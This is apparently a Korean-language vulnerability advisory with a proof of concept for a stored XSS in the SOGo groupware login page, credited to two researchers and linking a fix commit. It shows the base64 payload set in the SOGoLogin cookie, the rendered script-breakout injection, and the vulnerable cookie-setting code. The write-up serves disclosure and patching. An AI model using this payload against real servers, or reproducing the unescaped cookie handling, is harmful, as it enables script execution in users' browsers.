
Stored XSS 개념 증명(PoC)으로, SOGo 그룹웨어의 'Remember Username' 쿠키를 악용하여 로그인 엔드포인트를 통해 JavaScript 페이로드를 주입합니다.
Stored XSS in cookie Alinto/SOGo
연구자: Daniil Khomichenok, Alexander Klimenko
영향을 받는 버전 < 5.12.4 ( https://github.com/Alinto/sogo/releases/tag/SOGo-5.12.4 )
날짜: 01.10.2025
"사용자 이름 기억" 기능이 활성화되면, 브라우저 쿠키에 base64로 인코딩된 필드가 추가됩니다.
이 값은 /SOGo/connect 엔드포인트로 전송되는 POST 요청의 "userName" 매개변수에서 가져옵니다.
서버 응답에는 set-cookie와 함께 base64로 인코딩된 XSS 페이로드가 포함됩니다:
Set-Cookie: SOGoLogin=dGVzdDIyMkBxYXRlc3Qub2YuYnk8L3NjcmlwdD48c2NyaXB0PmFsZXJ0KCcxMjMnKTwvc2NyaXB0Pg%3D%3D; expires=Sun, 02-Nov-2025 09:58:23 GMT;
"userName" 매개변수에 대한 POST 요청에 다음 값을 추가하면:
이는 자바스크립트 인젝션을 포함하며, 사용자가 인증 페이지를 다시 방문할 때 실행되고 사용자 브라우저의 "SOGoLogin" 쿠키에 저장됩니다.
인젝션이 포함된 인증 페이지 코드:
<script type="text/javascript">
var cookieUsername = "[email protected]</script><script>alert('123')</script>";
var language = 'English';
var loginHint = ''
</script>
XSS 인젝션을 매개변수 값으로 허용하는 로그인 기억 설정 쿠키 코드:
if (rememberLogin)
[response addCookie: [self _cookieWithUsername: [params objectForKey: @"userName"]]];
else
[response addCookie: [self _cookieWithUsername: nil]];
수정: https://github.com/Alinto/sogo/commit/9e20190fad1a437f7e1307f0adcfe19a8d45184c